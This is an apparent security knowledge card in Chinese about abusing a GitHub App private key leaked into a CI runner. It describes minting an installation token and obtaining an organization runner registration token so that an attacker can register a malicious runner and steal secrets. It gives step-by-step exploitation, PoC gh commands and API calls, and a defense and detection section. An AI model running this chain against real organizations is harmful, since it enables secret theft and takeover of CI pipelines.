GitHub App 私钥泄露到 CI 环境:生成安装令牌并以 organization_self_hosted_runners:write 换取组织 runner 注册令牌
cloud/ci-cd · verified
一句话结论
在自托管 runner 上拿到命令执行后,环境变量里常能看到 GitHub App 的 GH_APP_ID 与 GH_APP_PVK(RSA 私钥);用私钥和 App ID 生成安装访问令牌(installation token),若该 App 被授予 organization_self_hosted_runners: write,即可调用 POST /orgs/<org>/actions/runners/registration-token 取得组织级 runner 注册令牌,为后续注册恶意 runner(如冒用 ubuntu-latest 标签)铺路。
原理
- GitHub App 的身份模型:App 用私钥签 JWT 证明身份,换取 installation access token(
ghs_...,通常 1 小时);令牌权限来自 App 在组织上的安装授权,而不是用户身份。私钥泄露 = App 身份被完全接管。 - CI 环境是私钥高发地:部署类工作流常把 App 私钥/ID 放进环境变量(示例
GH_APP_ID=889830、GH_APP_PVK=-----BEGIN RSA PRIVATE KEY-----...)供脚本创建 release、推镜像等;一旦 runner 被 RCE,env即可读出。 - 权限决定下一步:用
gh token generate --key leaked-private-key.pem --app-id <id>得到的令牌若带organization_self_hosted_runners: write,就能为整个组织签发 runner 注册令牌;注册令牌是「把任意机器加入组织 runner 池」的凭证,有效期约 1 小时。 - 为什么是提权:攻击者原本只有某个仓库/工作流的代码执行;拿到组织级 runner 注册权限后,可以注册自己的机器并接收组织内其他仓库(包括受保护仓库)的作业,越过分支保护与仓库边界。
- 边界:App 未安装到组织、未授予 runner 管理权限、私钥已轮换/失效、组织禁止自托管 runner 或需要审批时链不成立。
触发条件
- 攻击者已在某个能访问 App 环境变量/密钥文件的工作流或 runner 上获得命令执行。
- 目标组织安装了对应 GitHub App,且 App 具备
organization_self_hosted_runners: write(或admin:org等更大权限)。 - 私钥仍有效,组织允许创建 runner 注册令牌。
- 攻击者能访问
api.github.com(或 GitHub Enterprise API)。
利用步骤
- 在 runner 上读取环境变量与文件,收集
GH_APP_ID、GH_APP_PVK/.pem私钥。 - 用
gh token generate --key leaked-private-key.pem --app-id <app_id>生成安装令牌,确认权限包含organization_self_hosted_runners: write。 - 以该令牌调用
POST /orgs/<org>/actions/runners/registration-token,取得token(注册令牌)与过期时间。 - 把注册令牌交给恶意 runner 客户端(如
gh-hijack-runner.py --registration-token ... --labels ubuntu-latest),注册到组织。 - 等待组织内匹配标签的工作流作业被调度到恶意 runner,窃取 secrets(参见 [[cloud-cicd-github-actions-runner-label-ubuntu-latest-hijack]])。
- 清理/轮换痕迹前评估影响:App 私钥可再次生成令牌,需组织侧撤销安装或轮换私钥才能阻断。
PoC
# 1) runner 上收集到的环境变量(示意)
# GH_APP_ID=889830
# GH_APP_PVK=-----BEGIN RSA PRIVATE KEY----- ...
# 2) 私钥换安装令牌
gh token generate --key leaked-private-key.pem --app-id 889830
# {
# "token": "ghs_...",
# "expires_at": "...",
# "permissions": { "organization_self_hosted_runners": "write" }
# }
# 3) 换组织 runner 注册令牌
export GH_TOKEN="ghs_..."
gh api --method POST -H "Accept: application/vnd.github+json" \
/orgs/<org>/actions/runners/registration-token
# { "token": "BIHLY...", "expires_at": "..." }
变体与关联
- 变体:私钥来自 GitHub App 的
.pem文件、Kubernetes Secret、Vault、CI 变量或镜像层;权限可换admin:org、self-hosted runners管理;GitHub Enterprise Server 的 API 路径相同。 - 变体:若没有 App 私钥,可用具备
admin:org的 PAT、被泄露的 runner 注册令牌或组织管理员会话达到同样目的。 - [[cloud-cicd-github-actions-runner-label-ubuntu-latest-hijack]]:本卡注册令牌的直接用途。
- [[cloud-cicd-github-runner-credentials-session-hijack]]:另一种不注册新 runner、直接冒用现有 runner 凭据的路径。
- 边界:App 权限最小化、私钥不进入 CI、组织启用 runner 注册审批或仅允许指定 runner 组时链不成立。
检测与防御
- 防御:GitHub App 私钥绝不进入工作流环境/仓库;用 OIDC 或 GitHub 托管的短期凭据;App 权限最小化,去掉
organization_self_hosted_runners: write(除非确有必要);定期轮换私钥并撤销旧安装。 - 防御:限制谁能创建组织 runner,启用 runner 组与仓库访问控制;对自托管 runner 注册做审批与审计。
- 检测:组织 Audit Log 中的 GitHub App 令牌生成、
runner_registered、registration_token相关事件;异常 IP 调用/orgs/*/actions/runners/registration-token;runner 列表出现未知机器。 - 响应:轮换 App 私钥/撤销安装、删除未知 runner、轮换 CI secrets 与云凭据、排查 runner 上持久化。